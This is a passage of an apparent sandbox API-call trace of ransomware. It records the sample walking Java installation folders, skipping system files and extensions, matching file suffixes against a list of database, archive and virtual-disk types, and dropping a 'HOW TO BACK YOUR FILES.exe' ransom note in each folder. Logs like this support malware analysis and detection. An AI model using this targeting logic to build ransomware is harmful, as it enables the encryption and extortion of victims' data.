	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="ntuser.dat") returned -1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="perflogs") returned -1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="MSBuild") returned -1
	[0055.341] lstrlenW (lpString="messages_de.properties") returned 22
	[0055.341] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages.properties") returned 63
	[0055.341] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages_de.properties" | out: lpString1="messages_de.properties") returned="messages_de.properties"
	[0055.341] lstrlenW (lpString="messages_de.properties") returned 22
	[0055.342] lstrlenW (lpString="Apollon865") returned 10
	[0055.342] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.342] lstrlenW (lpString=".dll") returned 4
	[0055.342] lstrcmpiW (lpString1="messages_de.properties", lpString2=".dll") returned 1
	[0055.342] lstrlenW (lpString=".lnk") returned 4
	[0055.342] lstrcmpiW (lpString1="messages_de.properties", lpString2=".lnk") returned 1
	[0055.342] lstrlenW (lpString=".ini") returned 4
	[0055.342] lstrcmpiW (lpString1="messages_de.properties", lpString2=".ini") returned 1
	[0055.342] lstrlenW (lpString=".sys") returned 4
	[0055.342] lstrcmpiW (lpString1="messages_de.properties", lpString2=".sys") returned 1
	[0055.342] lstrlenW (lpString="messages_de.properties") returned 22
	[0055.342] lstrlenW (lpString="bak") returned 3
	[0055.342] lstrcmpiW (lpString1="ies", lpString2="bak") returned 1
	[0055.342] lstrlenW (lpString="ba_") returned 3
	[0055.342] lstrcmpiW (lpString1="ies", lpString2="ba_") returned 1
	[0055.342] lstrlenW (lpString="dbb") returned 3
	[0055.342] lstrcmpiW (lpString1="ies", lpString2="dbb") returned 1
	[0055.342] lstrlenW (lpString="vmdk") returned 4
	[0055.342] lstrcmpiW (lpString1="ties", lpString2="vmdk") returned -1
	[0055.342] lstrlenW (lpString="rar") returned 3
	[0055.342] lstrcmpiW (lpString1="ies", lpString2="rar") returned -1
	[0055.342] lstrlenW (lpString="zip") returned 3
	[0055.342] lstrcmpiW (lpString1="ies", lpString2="zip") returned -1
	[0055.342] lstrlenW (lpString="tgz") returned 3
	[0055.342] lstrcmpiW (lpString1="ies", lpString2="tgz") returned -1
	[0055.342] lstrlenW (lpString="vbox") returned 4
	[0055.342] lstrcmpiW (lpString1="ties", lpString2="vbox") returned -1
	[0055.342] lstrlenW (lpString="vdi") returned 3
	[0055.342] lstrcmpiW (lpString1="ies", lpString2="vdi") returned -1
	[0055.342] lstrlenW (lpString="vhd") returned 3
	[0055.342] lstrcmpiW (lpString1="ies", lpString2="vhd") returned -1
	[0055.342] lstrlenW (lpString="vhdx") returned 4
	[0055.342] lstrcmpiW (lpString1="ties", lpString2="vhdx") returned -1
	[0055.342] lstrlenW (lpString="avhd") returned 4
	[0055.342] lstrcmpiW (lpString1="ties", lpString2="avhd") returned 1
	[0055.343] lstrlenW (lpString="db") returned 2
	[0055.343] lstrcmpiW (lpString1="es", lpString2="db") returned 1
	[0055.343] lstrlenW (lpString="db2") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="db2") returned 1
	[0055.343] lstrlenW (lpString="db3") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="db3") returned 1
	[0055.343] lstrlenW (lpString="dbf") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="dbf") returned 1
	[0055.343] lstrlenW (lpString="mdf") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="mdf") returned -1
	[0055.343] lstrlenW (lpString="mdb") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="mdb") returned -1
	[0055.343] lstrlenW (lpString="sql") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="sql") returned -1
	[0055.343] lstrlenW (lpString="sqlite") returned 6
	[0055.343] lstrcmpiW (lpString1="erties", lpString2="sqlite") returned -1
	[0055.343] lstrlenW (lpString="sqlite3") returned 7
	[0055.343] lstrcmpiW (lpString1="perties", lpString2="sqlite3") returned -1
	[0055.343] lstrlenW (lpString="sqlitedb") returned 8
	[0055.343] lstrcmpiW (lpString1="operties", lpString2="sqlitedb") returned -1
	[0055.343] lstrlenW (lpString="xml") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="xml") returned -1
	[0055.343] lstrlenW (lpString="$er") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="$er") returned 1
	[0055.343] lstrlenW (lpString="4dd") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="4dd") returned 1
	[0055.343] lstrlenW (lpString="4dl") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="4dl") returned 1
	[0055.343] lstrlenW (lpString="^^^") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="^^^") returned 1
	[0055.343] lstrlenW (lpString="abs") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="abs") returned 1
	[0055.343] lstrlenW (lpString="abx") returned 3
	[0055.343] lstrcmpiW (lpString1="ies", lpString2="abx") returned 1
	[0055.343] lstrlenW (lpString="accdb") returned 5
	[0055.343] lstrcmpiW (lpString1="rties", lpString2="accdb") returned 1
	[0055.344] lstrlenW (lpString="accdc") returned 5
	[0055.344] lstrcmpiW (lpString1="rties", lpString2="accdc") returned 1
	[0055.344] lstrlenW (lpString="accde") returned 5
	[0055.344] lstrcmpiW (lpString1="rties", lpString2="accde") returned 1
	[0055.344] lstrlenW (lpString="accdr") returned 5
	[0055.344] lstrcmpiW (lpString1="rties", lpString2="accdr") returned 1
	[0055.344] lstrlenW (lpString="accdt") returned 5
	[0055.344] lstrcmpiW (lpString1="rties", lpString2="accdt") returned 1
	[0055.344] lstrlenW (lpString="accdw") returned 5
	[0055.344] lstrcmpiW (lpString1="rties", lpString2="accdw") returned 1
	[0055.344] lstrlenW (lpString="accft") returned 5
	[0055.344] lstrcmpiW (lpString1="rties", lpString2="accft") returned 1
	[0055.344] lstrlenW (lpString="adb") returned 3
	[0055.344] lstrcmpiW (lpString1="ies", lpString2="adb") returned 1
	[0055.344] lstrlenW (lpString="adb") returned 3
	[0055.344] lstrcmpiW (lpString1="ies", lpString2="adb") returned 1
	[0055.344] lstrlenW (lpString="ade") returned 3
	[0055.344] lstrcmpiW (lpString1="ies", lpString2="ade") returned 1
	[0055.344] lstrlenW (lpString="adf") returned 3
	[0055.344] lstrcmpiW (lpString1="ies", lpString2="adf") returned 1
	[0055.344] lstrlenW (lpString="adn") returned 3
	[0055.344] lstrcmpiW (lpString1="ies", lpString2="adn") returned 1
	[0055.344] lstrlenW (lpString="adp") returned 3
	[0055.344] lstrcmpiW (lpString1="ies", lpString2="adp") returned 1
	[0055.344] lstrlenW (lpString="alf") returned 3
	[0055.344] lstrcmpiW (lpString1="ies", lpString2="alf") returned 1
	[0055.344] lstrlenW (lpString="ask") returned 3
	[0055.344] lstrcmpiW (lpString1="ies", lpString2="ask") returned 1
	[0055.344] lstrlenW (lpString="btr") returned 3
	[0055.344] lstrcmpiW (lpString1="ies", lpString2="btr") returned 1
	[0055.344] lstrlenW (lpString="cat") returned 3
	[0055.344] lstrcmpiW (lpString1="ies", lpString2="cat") returned 1
	[0055.344] lstrlenW (lpString="cdb") returned 3
	[0055.344] lstrcmpiW (lpString1="ies", lpString2="cdb") returned 1
	[0055.344] lstrlenW (lpString="ckp") returned 3
	[0055.345] lstrcmpiW (lpString1="ies", lpString2="ckp") returned 1
	[0055.345] lstrlenW (lpString="cma") returned 3
	[0055.345] lstrcmpiW (lpString1="ies", lpString2="cma") returned 1
	[0055.345] lstrlenW (lpString="cpd") returned 3
	[0055.345] lstrcmpiW (lpString1="ies", lpString2="cpd") returned 1
	[0055.345] lstrlenW (lpString="dacpac") returned 6
	[0055.345] lstrcmpiW (lpString1="erties", lpString2="dacpac") returned 1
	[0055.345] lstrlenW (lpString="dad") returned 3
	[0055.345] lstrcmpiW (lpString1="ies", lpString2="dad") returned 1
	[0055.345] lstrlenW (lpString="dadiagrams") returned 10
	[0055.345] lstrcmpiW (lpString1="properties", lpString2="dadiagrams") returned 1
	[0055.345] lstrlenW (lpString="daschema") returned 8
	[0055.345] lstrcmpiW (lpString1="operties", lpString2="daschema") returned 1
	[0055.345] lstrlenW (lpString="db-journal") returned 10
	[0055.345] lstrcmpiW (lpString1="properties", lpString2="db-journal") returned 1
	[0055.345] lstrlenW (lpString="db-shm") returned 6
	[0055.345] lstrcmpiW (lpString1="erties", lpString2="db-shm") returned 1
	[0055.345] lstrlenW (lpString="db-wal") returned 6
	[0055.345] lstrcmpiW (lpString1="erties", lpString2="db-wal") returned 1
	[0055.345] lstrlenW (lpString="dbc") returned 3
	[0055.345] lstrcmpiW (lpString1="ies", lpString2="dbc") returned 1
	[0055.345] lstrlenW (lpString="dbs") returned 3
	[0055.345] lstrcmpiW (lpString1="ies", lpString2="dbs") returned 1
	[0055.345] lstrlenW (lpString="dbt") returned 3
	[0055.345] lstrcmpiW (lpString1="ies", lpString2="dbt") returned 1
	[0055.345] lstrlenW (lpString="dbv") returned 3
	[0055.345] lstrcmpiW (lpString1="ies", lpString2="dbv") returned 1
	[0055.345] lstrlenW (lpString="dbx") returned 3
	[0055.345] lstrcmpiW (lpString1="ies", lpString2="dbx") returned 1
	[0055.345] lstrlenW (lpString="dcb") returned 3
	[0055.345] lstrcmpiW (lpString1="ies", lpString2="dcb") returned 1
	[0055.345] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages_es.properties" | out: lpString1="messages_es.properties") returned="messages_es.properties"
	[0055.346] lstrlenW (lpString="messages_es.properties") returned 22
	[0055.346] lstrlenW (lpString="Apollon865") returned 10
	[0055.346] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.346] lstrlenW (lpString=".dll") returned 4
	[0055.346] lstrcmpiW (lpString1="messages_es.properties", lpString2=".dll") returned 1
	[0055.346] lstrlenW (lpString=".lnk") returned 4
	[0055.346] lstrcmpiW (lpString1="messages_es.properties", lpString2=".lnk") returned 1
	[0055.346] lstrlenW (lpString=".ini") returned 4
	[0055.346] lstrcmpiW (lpString1="messages_es.properties", lpString2=".ini") returned 1
	[0055.346] lstrlenW (lpString=".sys") returned 4
	[0055.346] lstrcmpiW (lpString1="messages_es.properties", lpString2=".sys") returned 1
	[0055.346] lstrlenW (lpString="messages_es.properties") returned 22
	[0055.346] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages_fr.properties" | out: lpString1="messages_fr.properties") returned="messages_fr.properties"
	[0055.346] lstrlenW (lpString="messages_fr.properties") returned 22
	[0055.346] lstrlenW (lpString="Apollon865") returned 10
	[0055.346] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.346] lstrlenW (lpString=".dll") returned 4
	[0055.346] lstrcmpiW (lpString1="messages_fr.properties", lpString2=".dll") returned 1
	[0055.346] lstrlenW (lpString=".lnk") returned 4
	[0055.346] lstrcmpiW (lpString1="messages_fr.properties", lpString2=".lnk") returned 1
	[0055.346] lstrlenW (lpString=".ini") returned 4
	[0055.346] lstrcmpiW (lpString1="messages_fr.properties", lpString2=".ini") returned 1
	[0055.346] lstrlenW (lpString=".sys") returned 4
	[0055.346] lstrcmpiW (lpString1="messages_fr.properties", lpString2=".sys") returned 1
	[0055.346] lstrlenW (lpString="messages_fr.properties") returned 22
	[0055.346] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages_it.properties" | out: lpString1="messages_it.properties") returned="messages_it.properties"
	[0055.346] lstrlenW (lpString="messages_it.properties") returned 22
	[0055.346] lstrlenW (lpString="Apollon865") returned 10
	[0055.346] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.346] lstrlenW (lpString=".dll") returned 4
	[0055.346] lstrcmpiW (lpString1="messages_it.properties", lpString2=".dll") returned 1
	[0055.346] lstrlenW (lpString=".lnk") returned 4
	[0055.347] lstrcmpiW (lpString1="messages_it.properties", lpString2=".lnk") returned 1
	[0055.347] lstrlenW (lpString=".ini") returned 4
	[0055.347] lstrcmpiW (lpString1="messages_it.properties", lpString2=".ini") returned 1
	[0055.347] lstrlenW (lpString=".sys") returned 4
	[0055.347] lstrcmpiW (lpString1="messages_it.properties", lpString2=".sys") returned 1
	[0055.347] lstrlenW (lpString="messages_it.properties") returned 22
	[0055.347] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages_ja.properties" | out: lpString1="messages_ja.properties") returned="messages_ja.properties"
	[0055.347] lstrlenW (lpString="messages_ja.properties") returned 22
	[0055.347] lstrlenW (lpString="Apollon865") returned 10
	[0055.347] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.347] lstrlenW (lpString=".dll") returned 4
	[0055.347] lstrcmpiW (lpString1="messages_ja.properties", lpString2=".dll") returned 1
	[0055.347] lstrlenW (lpString=".lnk") returned 4
	[0055.347] lstrcmpiW (lpString1="messages_ja.properties", lpString2=".lnk") returned 1
	[0055.347] lstrlenW (lpString=".ini") returned 4
	[0055.347] lstrcmpiW (lpString1="messages_ja.properties", lpString2=".ini") returned 1
	[0055.347] lstrlenW (lpString=".sys") returned 4
	[0055.347] lstrcmpiW (lpString1="messages_ja.properties", lpString2=".sys") returned 1
	[0055.347] lstrlenW (lpString="messages_ja.properties") returned 22
	[0055.347] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages_ko.properties" | out: lpString1="messages_ko.properties") returned="messages_ko.properties"
	[0055.347] lstrlenW (lpString="messages_ko.properties") returned 22
	[0055.347] lstrlenW (lpString="Apollon865") returned 10
	[0055.347] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.347] lstrlenW (lpString=".dll") returned 4
	[0055.347] lstrcmpiW (lpString1="messages_ko.properties", lpString2=".dll") returned 1
	[0055.347] lstrlenW (lpString=".lnk") returned 4
	[0055.347] lstrcmpiW (lpString1="messages_ko.properties", lpString2=".lnk") returned 1
	[0055.347] lstrlenW (lpString=".ini") returned 4
	[0055.347] lstrcmpiW (lpString1="messages_ko.properties", lpString2=".ini") returned 1
	[0055.347] lstrlenW (lpString=".sys") returned 4
	[0055.347] lstrcmpiW (lpString1="messages_ko.properties", lpString2=".sys") returned 1
	[0055.347] lstrlenW (lpString="messages_ko.properties") returned 22
	[0055.348] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages_pt_BR.properties" | out: lpString1="messages_pt_BR.properties") returned="messages_pt_BR.properties"
	[0055.348] lstrlenW (lpString="messages_pt_BR.properties") returned 25
	[0055.348] lstrlenW (lpString="Apollon865") returned 10
	[0055.348] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.348] lstrlenW (lpString=".dll") returned 4
	[0055.348] lstrcmpiW (lpString1="messages_pt_BR.properties", lpString2=".dll") returned 1
	[0055.348] lstrlenW (lpString=".lnk") returned 4
	[0055.348] lstrcmpiW (lpString1="messages_pt_BR.properties", lpString2=".lnk") returned 1
	[0055.348] lstrlenW (lpString=".ini") returned 4
	[0055.348] lstrcmpiW (lpString1="messages_pt_BR.properties", lpString2=".ini") returned 1
	[0055.348] lstrlenW (lpString=".sys") returned 4
	[0055.348] lstrcmpiW (lpString1="messages_pt_BR.properties", lpString2=".sys") returned 1
	[0055.348] lstrlenW (lpString="messages_pt_BR.properties") returned 25
	[0055.348] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages_sv.properties" | out: lpString1="messages_sv.properties") returned="messages_sv.properties"
	[0055.348] lstrlenW (lpString="messages_sv.properties") returned 22
	[0055.348] lstrlenW (lpString="Apollon865") returned 10
	[0055.348] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.348] lstrlenW (lpString=".dll") returned 4
	[0055.348] lstrcmpiW (lpString1="messages_sv.properties", lpString2=".dll") returned 1
	[0055.348] lstrlenW (lpString=".lnk") returned 4
	[0055.348] lstrcmpiW (lpString1="messages_sv.properties", lpString2=".lnk") returned 1
	[0055.348] lstrlenW (lpString=".ini") returned 4
	[0055.348] lstrcmpiW (lpString1="messages_sv.properties", lpString2=".ini") returned 1
	[0055.348] lstrlenW (lpString=".sys") returned 4
	[0055.348] lstrcmpiW (lpString1="messages_sv.properties", lpString2=".sys") returned 1
	[0055.348] lstrlenW (lpString="messages_sv.properties") returned 22
	[0055.348] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages_zh_CN.properties" | out: lpString1="messages_zh_CN.properties") returned="messages_zh_CN.properties"
	[0055.348] lstrlenW (lpString="messages_zh_CN.properties") returned 25
	[0055.348] lstrlenW (lpString="Apollon865") returned 10
	[0055.348] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.349] lstrlenW (lpString=".dll") returned 4
	[0055.349] lstrcmpiW (lpString1="messages_zh_CN.properties", lpString2=".dll") returned 1
	[0055.349] lstrlenW (lpString=".lnk") returned 4
	[0055.349] lstrcmpiW (lpString1="messages_zh_CN.properties", lpString2=".lnk") returned 1
	[0055.349] lstrlenW (lpString=".ini") returned 4
	[0055.349] lstrcmpiW (lpString1="messages_zh_CN.properties", lpString2=".ini") returned 1
	[0055.349] lstrlenW (lpString=".sys") returned 4
	[0055.349] lstrcmpiW (lpString1="messages_zh_CN.properties", lpString2=".sys") returned 1
	[0055.349] lstrlenW (lpString="messages_zh_CN.properties") returned 25
	[0055.349] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages_zh_HK.properties" | out: lpString1="messages_zh_HK.properties") returned="messages_zh_HK.properties"
	[0055.349] lstrlenW (lpString="messages_zh_HK.properties") returned 25
	[0055.349] lstrlenW (lpString="Apollon865") returned 10
	[0055.349] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.349] lstrlenW (lpString=".dll") returned 4
	[0055.349] lstrcmpiW (lpString1="messages_zh_HK.properties", lpString2=".dll") returned 1
	[0055.349] lstrlenW (lpString=".lnk") returned 4
	[0055.349] lstrcmpiW (lpString1="messages_zh_HK.properties", lpString2=".lnk") returned 1
	[0055.349] lstrlenW (lpString=".ini") returned 4
	[0055.349] lstrcmpiW (lpString1="messages_zh_HK.properties", lpString2=".ini") returned 1
	[0055.349] lstrlenW (lpString=".sys") returned 4
	[0055.349] lstrcmpiW (lpString1="messages_zh_HK.properties", lpString2=".sys") returned 1
	[0055.349] lstrlenW (lpString="messages_zh_HK.properties") returned 25
	[0055.349] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages_zh_TW.properties" | out: lpString1="messages_zh_TW.properties") returned="messages_zh_TW.properties"
	[0055.356] lstrlenW (lpString="messages_zh_TW.properties") returned 25
	[0055.356] lstrlenW (lpString="Apollon865") returned 10
	[0055.356] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.356] lstrlenW (lpString=".dll") returned 4
	[0055.356] lstrcmpiW (lpString1="messages_zh_TW.properties", lpString2=".dll") returned 1
	[0055.356] lstrlenW (lpString=".lnk") returned 4
	[0055.356] lstrcmpiW (lpString1="messages_zh_TW.properties", lpString2=".lnk") returned 1
	[0055.356] lstrlenW (lpString=".ini") returned 4
	[0055.356] lstrcmpiW (lpString1="messages_zh_TW.properties", lpString2=".ini") returned 1
	[0055.356] lstrlenW (lpString=".sys") returned 4
	[0055.356] lstrcmpiW (lpString1="messages_zh_TW.properties", lpString2=".sys") returned 1
	[0055.356] lstrlenW (lpString="messages_zh_TW.properties") returned 25
	[0055.356] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="splash.gif" | out: lpString1="splash.gif") returned="splash.gif"
	[0055.356] lstrlenW (lpString="splash.gif") returned 10
	[0055.357] lstrlenW (lpString="Apollon865") returned 10
	[0055.357] lstrlenW (lpString=".dll") returned 4
	[0055.357] lstrcmpiW (lpString1="splash.gif", lpString2=".dll") returned 1
	[0055.357] lstrlenW (lpString=".lnk") returned 4
	[0055.357] lstrcmpiW (lpString1="splash.gif", lpString2=".lnk") returned 1
	[0055.357] lstrlenW (lpString=".ini") returned 4
	[0055.357] lstrcmpiW (lpString1="splash.gif", lpString2=".ini") returned 1
	[0055.357] lstrlenW (lpString=".sys") returned 4
	[0055.357] lstrcmpiW (lpString1="splash.gif", lpString2=".sys") returned 1
	[0055.357] lstrlenW (lpString="splash.gif") returned 10
	[0055.357] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs"
	[0055.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0055.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0055.357] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs") returned 47
	[0055.357] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs"
	[0055.357] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.357] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.368] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.368] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39118270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39118270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.368] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.368] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.368] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.368] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39118270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39118270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.368] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.368] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.368] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.368] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.368] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39118270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39118270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.368] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.368] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9f6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jqs.conf", cAlternateFileName="JQS~1.CON")) returned 1
	[0055.368] lstrcmpiW (lpString1="jqs.conf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.368] lstrcmpiW (lpString1="jqs.conf", lpString2="Apollon865.txt.exe") returned 1
	[0055.368] lstrcmpiW (lpString1="jqs.conf", lpString2=".") returned 1
	[0055.368] lstrcmpiW (lpString1="jqs.conf", lpString2="..") returned 1
	[0055.368] lstrcmpiW (lpString1="jqs.conf", lpString2="windows") returned -1
	[0055.368] lstrcmpiW (lpString1="jqs.conf", lpString2="bootmgr") returned 1
	[0055.368] lstrcmpiW (lpString1="jqs.conf", lpString2="temp") returned -1
	[0055.368] lstrcmpiW (lpString1="jqs.conf", lpString2="pagefile.sys") returned -1
	[0055.368] lstrcmpiW (lpString1="jqs.conf", lpString2="boot") returned 1
	[0055.369] lstrcmpiW (lpString1="jqs.conf", lpString2="ids.txt") returned 1
	[0055.369] lstrcmpiW (lpString1="jqs.conf", lpString2="ntuser.dat") returned -1
	[0055.369] lstrcmpiW (lpString1="jqs.conf", lpString2="perflogs") returned -1
	[0055.369] lstrcmpiW (lpString1="jqs.conf", lpString2="MSBuild") returned -1
	[0055.369] lstrlenW (lpString="jqs.conf") returned 8
	[0055.369] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*") returned 49
	[0055.369] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="jqs.conf" | out: lpString1="jqs.conf") returned="jqs.conf"
	[0055.369] lstrlenW (lpString="jqs.conf") returned 8
	[0055.369] lstrlenW (lpString="Apollon865") returned 10
	[0055.369] lstrlenW (lpString=".dll") returned 4
	[0055.369] lstrcmpiW (lpString1="jqs.conf", lpString2=".dll") returned 1
	[0055.369] lstrlenW (lpString=".lnk") returned 4
	[0055.369] lstrcmpiW (lpString1="jqs.conf", lpString2=".lnk") returned 1
	[0055.369] lstrlenW (lpString=".ini") returned 4
	[0055.369] lstrcmpiW (lpString1="jqs.conf", lpString2=".ini") returned 1
	[0055.369] lstrlenW (lpString=".sys") returned 4
	[0055.369] lstrcmpiW (lpString1="jqs.conf", lpString2=".sys") returned 1
	[0055.369] lstrlenW (lpString="jqs.conf") returned 8
	[0055.369] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="jqsmessages.properties" | out: lpString1="jqsmessages.properties") returned="jqsmessages.properties"
	[0055.369] lstrlenW (lpString="jqsmessages.properties") returned 22
	[0055.369] lstrlenW (lpString="Apollon865") returned 10
	[0055.369] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.369] lstrlenW (lpString=".dll") returned 4
	[0055.369] lstrcmpiW (lpString1="jqsmessages.properties", lpString2=".dll") returned 1
	[0055.369] lstrlenW (lpString=".lnk") returned 4
	[0055.369] lstrcmpiW (lpString1="jqsmessages.properties", lpString2=".lnk") returned 1
	[0055.369] lstrlenW (lpString=".ini") returned 4
	[0055.369] lstrcmpiW (lpString1="jqsmessages.properties", lpString2=".ini") returned 1
	[0055.369] lstrlenW (lpString=".sys") returned 4
	[0055.369] lstrcmpiW (lpString1="jqsmessages.properties", lpString2=".sys") returned 1
	[0055.370] lstrlenW (lpString="jqsmessages.properties") returned 22
	[0055.370] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm"
	[0055.370] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5984c8 | out: hHeap=0x580000) returned 1
	[0055.370] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0055.370] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned 40
	[0055.370] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm"
	[0055.370] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
